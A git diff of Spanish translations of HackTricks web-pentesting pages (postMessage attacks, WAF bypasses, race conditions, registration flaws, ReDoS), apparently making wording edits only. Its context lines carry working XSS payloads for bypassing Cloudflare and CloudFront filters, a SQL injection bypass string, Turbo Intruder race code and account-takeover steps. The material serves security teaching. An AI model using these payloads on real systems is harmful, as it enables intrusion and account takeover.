@@ -86,35 +87,35 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
 
 <figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
 
-1. Reconocido name\[].
+1. Reconoce name\[].
 2. Concatenar parámetros e.g. first,last.
 
 ### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
 
 <figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
 
-1. NO se reconoce name\[].
+1. NO reconoce name\[].
 2. Preferir el primer parámetro.
 
 ### Python 3.12.6 Y Werkzeug 3.0.4 Y Flask 3.0.3 <a href="#b853" id="b853"></a>
 
 <figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
 
-1. NO se reconoce name\[].
+1. NO reconoce name\[].
 2. Preferir el primer parámetro.
 
 ### Python 3.12.6 Y Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
 
 <figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
 
-1. NO se reconoce name\[].
+1. NO reconoce name\[].
 2. Preferir el último parámetro.
 
 ### Python 3.12.6 Y Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
 
 <figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
 
-1. NO se reconoce name\[].
+1. NO reconoce name\[].
 2. Preferir el último parámetro.
 
 ## Inyección JSON
diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
index c70c3f90a..971e02cd0 100644
--- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
+++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
@@ -5,7 +5,7 @@
 El objetivo de estos PoCs y Polygloths es dar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
 
 > [!WARNING]
-> Esta **cheat sheet no propone una lista completa de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
+> Esta **cheat sheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
 
 > [!CAUTION]
 > No **encontrarás inyecciones dependientes de Content-Type como XXE**, ya que normalmente intentarás esas tú mismo si encuentras una solicitud que envía datos xml. Tampoco **encontrarás inyecciones de base de datos** aquí, ya que aunque algún contenido podría ser reflejado, depende en gran medida de la tecnología y estructura de la base de datos del backend.
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index 6ae8f4abc..91dcc4b81 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -36,7 +36,7 @@ Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://c
 En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto window es diferente).\
 Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio**, y se enviarán al origen del objeto Window.
 
-### Atacando iframe y comodín en **targetOrigin**
+### Ataque a iframe y comodín en **targetOrigin**
 
 Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentra una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
 Tenga en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
@@ -95,7 +95,7 @@ Para **encontrar oyentes de eventos** en la página actual puedes:
 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 ```
 
-- El método **`search()`** de `String.prototype.search()` está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
+- El método **`search()`** de `String.prototype.search()` está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp lleva a una conversión implícita a regex, haciendo que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
 
 ```javascript
 "https://www.safedomain.com".search("www.s.fedomain.com")
@@ -113,7 +113,7 @@ message: "'\"<b>\\",
 result.message // "&#39;&quot;&lt;b&gt;\"
 ```
 
-- Eludir la escapada:
+- Eludir el escape:
 
 ```javascript
 result = u(new Error("'\"<b>\\"))
@@ -124,13 +124,13 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab
 
 - La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de mismo origen dentro del mismo dominio padre.
 
-### Bypass de e.origin == window.origin
+### e.origin == window.origin bypass
 
-Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en nulo. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
+Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
 
-Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
+Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
 
-En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos de envío y recepción tienen sus orígenes establecidos en `null`. Esta situación conduce a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
+En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
 
 Para más información **lee**:
 
@@ -147,7 +147,7 @@ if (received_message.source !== window) {
 return
 }
 ```
-Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **inmediatamente eliminado**.
+Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **eliminado inmediatamente**.
 
 Para más información **lee:**
 
diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
index 468718ef7..eacda3678 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
@@ -12,7 +12,7 @@ Sin embargo, esa comunicación de postmessage es **vulnerable a XSS** (el **ifra
 Por lo tanto, el objetivo del atacante es **dejar que la página padre cree el iframe**, pero **antes** de que la **página padre** **envíe** los datos sensibles (**bandera**) **mantenerla ocupada** y enviar el **payload al iframe**. Mientras la **página padre está ocupada**, el **iframe ejecuta el payload** que será algún JS que escuchará el **mensaje postmessage de la página padre y filtrará la bandera**.\
 Finalmente, el iframe ha ejecutado el payload y la página padre deja de estar ocupada, por lo que envía la bandera y el payload la filtra.
 
-Pero, ¿cómo podrías hacer que la página padre esté **ocupada justo después de generar el iframe y solo mientras espera que el iframe esté listo para enviar los datos sensibles?** Básicamente, necesitas encontrar una **acción** **asíncrona** que puedas hacer que la página padre **ejecute**. Por ejemplo, en ese desafío, la página padre estaba **escuchando** **postmessages** así:
+Pero, ¿cómo podrías hacer que la página padre esté **ocupada justo después de que generó el iframe y solo mientras espera que el iframe esté listo para enviar los datos sensibles?** Básicamente, necesitas encontrar una **acción** **asíncrona** que puedas hacer que la página padre **ejecute**. Por ejemplo, en ese desafío, la página padre estaba **escuchando** **postmessages** así:
 ```javascript
 window.addEventListener("message", (e) => {
 if (e.data == "blob loaded") {
@@ -20,11 +20,11 @@ $("#previewModal").modal()
 }
 })
 ```
-así que era posible enviar un **número entero grande en un postmessage** que será **convertido a cadena** en esa comparación, lo que tomará algo de tiempo:
+así que era posible enviar un **número entero grande en un postmessage** que será **convertido a cadena** en esa comparación, lo que tomará algún tiempo:
 ```bash
 const buffer = new Uint8Array(1e7);
 win?.postMessage(buffer, '*', [buffer.buffer]);
 ```
-Y para ser preciso y **enviar** ese **postmessage** justo **después** de que se crea el **iframe** pero **antes** de que esté **listo** para recibir los datos del padre, necesitarás **jugar con los milisegundos de un `setTimeout`**.
+Y para ser preciso y **enviar** ese **postmessage** justo **después** de que se cree el **iframe** pero **antes** de que esté **listo** para recibir los datos del padre, necesitarás **jugar con los milisegundos de un `setTimeout`**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
index 58c18ff99..07980e241 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@@ -27,12 +27,12 @@ Si la página fuera **incrustable**, podrías eludir esa protección de esa mane
 
 ### Bypass SOP 2 (window.origin === null)
 
-El hecho menos conocido es que cuando se establece el **valor de sandbox `allow-popups`**, entonces el **popup abierto** **heredará** todos los **atributos de sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
+El hecho menos conocido es que cuando se establece el **valor de sandbox `allow-popups`**, entonces el **popup abierto** **heredará** todos los **atributos sandboxed** a menos que se establezca `allow-popups-to-escape-sandbox`.\
 Por lo tanto, abrir un **popup** desde un **origen nulo** hará que **`window.origin`** dentro del popup también sea **`null`**.
 
 ### Solución del Desafío
 
-Por lo tanto, para este desafío, uno podría **crear** un **iframe**, **abrir un popup** a la página con el manejador de código XSS vulnerable (`/iframe.php`), ya que `window.origin === e.origin` porque ambos son `null`, es posible **enviar una carga útil que explotará el XSS**.
+Por lo tanto, para este desafío, se podría **crear** un **iframe**, **abrir un popup** a la página con el manejador de código XSS vulnerable (`/iframe.php`), ya que `window.origin === e.origin` porque ambos son `null`, es posible **enviar una carga útil que explotará el XSS**.
 
 Esa **carga útil** obtendrá el **identificador** y enviará un **XSS** **de vuelta a la página principal** (la página que abrió el popup), **la cual** **cambiará de ubicación** a la **vulnerable** `/iframe.php`. Dado que el identificador es conocido, no importa que la condición `window.origin === e.origin` no se cumpla (recuerda, el origen es el **popup** del iframe que tiene **origen** **`null`**) porque `data.identifier === identifier`. Entonces, el **XSS se activará nuevamente**, esta vez en el origen correcto.
 ```html
diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md
index 8a3cd52c2..dbd476b3a 100644
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@@ -23,11 +23,11 @@ Para prevenir bypasses, Nginx realiza la normalización de rutas antes de verifi
 
 | Versión de Nginx | **Caracteres de Bypass de Node.js** |
 | ---------------- | ----------------------------------- |
-| 1.22.0           | `\xA0`                              |
-| 1.21.6           | `\xA0`                              |
-| 1.20.2           | `\xA0`, `\x09`, `\x0C`              |
-| 1.18.0           | `\xA0`, `\x09`, `\x0C`              |
-| 1.16.1           | `\xA0`, `\x09`, `\x0C`              |
+| 1.22.0           | `\xA0`                             |
+| 1.21.6           | `\xA0`                             |
+| 1.20.2           | `\xA0`, `\x09`, `\x0C`             |
+| 1.18.0           | `\xA0`, `\x09`, `\x0C`             |
+| 1.16.1           | `\xA0`, `\x09`, `\x0C`             |
 
 ### **Flask**
 
@@ -108,7 +108,7 @@ Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para ve
 
 <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de Application Load Balancer y AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**</td><td>64 KB</td></tr></tbody></table>
 
-- De [**documentación de Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- De [**documentos de Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
 Los Firewalls de Aplicaciones Web más antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes más grandes que **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán revisados en busca de vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o más recientes), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño:
 
@@ -158,9 +158,9 @@ En la publicación se sugieren los siguientes bypass finales:
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permite poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
+También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permitía poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
 
-Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no se espera** que sean explotadas por el WAF (por ejemplo, esto también podría usarse para explotar un XSS).
+Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no son las que se espera** que sean explotadas por el WAF (por ejemplo, esto también podría usarse para explotar un XSS).
 
 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 
@@ -173,7 +173,7 @@ h2c-smuggling.md
 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de API gateway para usar con ffuf
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar a fireprox
 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de API gateway
-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan según el tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan en función del tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
 ### Regex Bypasses
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index c20d1db3d..516537e33 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -91,7 +91,7 @@ engine.openGate(currentAttempt)
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Automated python script**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).\
+- **Automated python script**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo electrónico pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).\
 Cuando se encuentra la palabra "objetivo" en los correos electrónicos recibidos, sabemos que hemos recibido el token de verificación del correo cambiado y terminamos el ataque.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@@ -231,8 +231,8 @@ Puede encontrar algunos ejemplos utilizando esta técnica en el repositorio [htt
 Antes de la investigación anterior, estos eran algunos payloads utilizados que solo intentaban enviar los paquetes lo más rápido posible para causar un RC.
 
 - **Repetidor:** Consulte los ejemplos de la sección anterior.
-- **Intruso**: Envíe la **solicitud** a **Intruso**, establezca el **número de hilos** en **30** dentro del **menú de Opciones** y seleccione como payload **Payloads nulos** y genere **30.**
-- **Turbo Intruder**
+- **Intruso**: Envíe la **solicitud** a **Intruso**, establezca el **número de hilos** en **30** dentro del **menú de Opciones** y seleccione como payload **Payloads Nulos** y genere **30.**
+- **Turbo Intruso**
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -298,10 +298,10 @@ Hay muchas variaciones de este tipo de ataque, incluyendo:
 Explotar condiciones de carrera complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí te mostramos cómo abordar esto:
 
 1. **Identificar Subestados Ocultos Potenciales**
-- Comienza por identificar puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
-- **Almacenamiento**: Prefiere puntos finales que manipulan datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
+- Comienza por identificar puntos finales que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
+- **Almacenamiento**: Prefiere puntos finales que manipulen datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
 - **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con aquellas que añaden nuevos datos.
-- **Claves**: Los ataques exitosos generalmente involucran operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
+- **Claves**: Los ataques exitosos generalmente implican operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
 2. **Realizar Sondeos Iniciales**
 - Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
 3. **Demostrar la Vulnerabilidad**
@@ -323,15 +323,15 @@ La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, es
 
 ## Estudios de caso de subestados ocultos
 
-### Pagar y añadir un artículo
+### Pagar y añadir un ítem
 
-Revisa este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un extra** artículo que **no necesitarás pagar por él**.
+Revisa este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un extra** que **no necesitarás pagar**.
 
-### Confirmar otros correos electrónicos
+### Confirmar otros correos
 
 La idea es **verificar una dirección de correo electrónico y cambiarla a una diferente al mismo tiempo** para averiguar si la plataforma verifica la nueva que se cambió.
 
-### Cambiar correo electrónico a 2 direcciones de correo basadas en cookies
+### Cambiar correo a 2 direcciones de correo basadas en cookies
 
 Según [**esta investigación**](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a una toma de control de esta manera porque podría **enviar** el **token de verificación de correo de un correo al otro correo**.
 
@@ -341,7 +341,7 @@ Según [**esta investigación**](https://portswigger.net/research/smashing-the-s
 
 Si se utilizan **2 escrituras diferentes** para **agregar** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y **contraseña** pueden ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que durante un pequeño tiempo el **token para confirmar una cuenta es nulo**.
 
-Por lo tanto, **registrar una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo electrónico.
+Por lo tanto, **registrar una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo.
 
 **Revisa esto** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para probar esto.**
 
@@ -362,7 +362,7 @@ Así que, hasta aquí, solo un inicio de sesión común con google/linkedin/gith
 
 #### Condición de carrera en `authorization_code`
 
-El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios OAUth para generar más de un AT/RT** (_Token de Autenticación/Token de Refresco_) a partir del **`authorization_code`** de tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
+El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicio OAUth para generar más de un AT/RT** (_Token de Autenticación/Token de Refresco_) para tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
 
 #### Condición de carrera en `Refresh Token`
 
diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md
index 6b7eadd9d..a68909327 100644
--- a/src/pentesting-web/registration-vulnerabilities.md
+++ b/src/pentesting-web/registration-vulnerabilities.md
@@ -23,7 +23,7 @@ Verifica si puedes averiguar cuándo un nombre de usuario ya ha sido registrado
 ### Política de Contraseñas
 
 Al crear un usuario, verifica la política de contraseñas (verifica si puedes usar contraseñas débiles).\
-En ese caso, puedes intentar hacer un bruteforce de las credenciales.
+En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
 
 ### Inyección SQL
 
@@ -48,7 +48,7 @@ Cuando estés registrado, intenta cambiar el correo electrónico y verifica si e
 ### Más Comprobaciones
 
 - Verifica si puedes usar **correos desechables**
-- **Contraseña** **Larga** (>200) conduce a **DoS**
+- **Contraseña** **larga** (>200) conduce a **DoS**
 - **Verifica los límites de tasa en la creación de cuentas**
 - Usa username@**burp_collab**.net y analiza el **callback**
 
@@ -90,9 +90,9 @@ email=victim@mail.com|hacker@mail.com
 ```
 ### IDOR en Parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
 
-1. El atacante debe iniciar sesión con su cuenta y ir a la función **Cambiar contraseña**.
+1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
 2. Inicie Burp Suite e intercepte la solicitud.
-3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\
+3. Envíelo a la pestaña de repetidor y edite los parámetros: ID de usuario/correo electrónico\
 `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
 
 ### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@@ -100,8 +100,8 @@ email=victim@mail.com|hacker@mail.com
 El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
 Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
 
-- Timestamp
-- UserID
+- Marca de tiempo
+- ID de usuario
 - Correo electrónico del usuario
 - Nombre y apellido
 - Fecha de nacimiento
@@ -119,12 +119,12 @@ Intente determinar si el token expira o si siempre es el mismo; en algunos casos
 
 ### Restablecimiento de Contraseña a Través de Colisión de Nombres de Usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
 
-1. Regístrese en el sistema con un nombre de usuario idéntico al del víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
+1. Regístrese en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
 2. Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
 3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
 4. Conéctese a la cuenta de la víctima con la nueva contraseña.
 
-La plataforma CTFd era vulnerable a este ataque.\
+La plataforma CTFd fue vulnerable a este ataque.\
 Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
 
 ### Toma de Control de Cuenta a Través de Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
@@ -151,7 +151,7 @@ Content-Length: 83
 GET http://something.burpcollaborator.net  HTTP/1.1
 X: X
 ```
-Hackerone informa sobre la explotación de este error\
+Hackerone informa sobre la explotación de este bug\
 \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
 \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
 
@@ -162,7 +162,7 @@ Hackerone informa sobre la explotación de este error\
 
 ### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
 
-JSON Web Token puede ser utilizado para autenticar a un usuario.
+JSON Web Token podría ser utilizado para autenticar a un usuario.
 
 - Edita el JWT con otro ID de Usuario / Correo Electrónico
 - Verifica la firma débil del JWT
diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md
index b82a06c27..c8050aca0 100644
--- a/src/pentesting-web/regular-expression-denial-of-service-redos.md
+++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md
@@ -4,7 +4,7 @@
 
 # Denegación de Servicio por Expresión Regular (ReDoS)
 
-Una **Denegación de Servicio por Expresión Regular (ReDoS)** ocurre cuando alguien aprovecha las debilidades en el funcionamiento de las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
+Una **Denegación de Servicio por Expresión Regular (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
 
 ## El Algoritmo Naïve Problemático de Regex
